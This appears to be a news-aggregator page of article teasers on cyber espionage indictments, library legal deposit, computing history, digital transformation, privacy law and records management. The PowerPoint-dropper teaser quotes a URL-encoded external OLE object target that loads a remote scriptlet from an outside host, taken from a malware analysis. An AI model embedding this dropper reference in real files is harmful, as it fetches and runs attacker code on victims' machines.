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US DoJ indicts Chinese hackers over state-sponsored cyber espionage

Security Affairs

The US Department of Justice charged two Chinese hackers for hacking numerous companies and government agencies in a dozen countries, US Indicts Two Chinese Government Hackers Over Global Hacking Campaign. The APT10 Group stole hundreds of gigabytes of sensitive data and information from the victims’ computer systems.

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Using Microsoft Powerpoint as Malware Dropper

Security Affairs

An external OLEobject (compatibility 2006) was available on that value: Target=”%73%63%72%49%50%54:%68%74%74%70%73%3A%2F%2F%61%2E%64oko%2Emo%65%2Fwr%61%65o%70%2E%73%63%74″ . I am a computer security scientist with an intensive hacking background. Stage 1: Microsoft PowerPoint Dropping Website.

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New book explores the social, institutional and user impacts of e-legal deposit

CILIP

Facet Publishing announce the publication of Electronic Legal Deposit: Shaping the Library Collections of the Future edited by Paul Gooding and Melissa Terras. Regulations governing electronic legal deposit often also prescribe how these materials can be accessed.

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This is the old ChiefTech blog.: The Circle of Computing Life

ChiefTech

Sunday, 1 July 2007 The Circle of Computing Life I came across a great book a few weekends ago, called A Computer Called LEO , that tells the story of the first computer to be used by business. The first LEO or ""Lyons Electronic Office" consisted of: " 5,936 valves, plus another 300-400 in auxiliary equipment.

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Part 1: OMG! Not another digital transformation article! Is it about understanding the business drivers?

ARMA International

This means imaging the “art of the possible” for a new future using a cloud computing model to deliver transformative change. Gartner (2021) has two related definitions: Digital Transformation: “can refer to anything from IT modernization (for example, cloud computing), to digital optimization, to the invention of new digital business models.”

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Online Behavioral Advertising: European Commission launches infringement proceedings against the UK

Hunton Privacy

In the UK, those who collect and use data through behavioral advertising technology must comply with the Data Protection Act 1998 (as amended) (the “DPA”), as well as the Privacy and Electronic Communications (EC Directive) Regulations 2003 (the “Privacy Regulations”). Legal Implications.

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Chronicle of a Records Manager: Controlling the Chaos of Disaster Response and Recovery

ARMA International

I have overseen two significant projects: an electronic discovery production and disaster response and recovery effort. Covering all computers and file cabinets in plastic sheeting. . The LSU CRIM program has instilled in me the importance of executive sponsorship and an organization-wide Information Governance (IG) framework.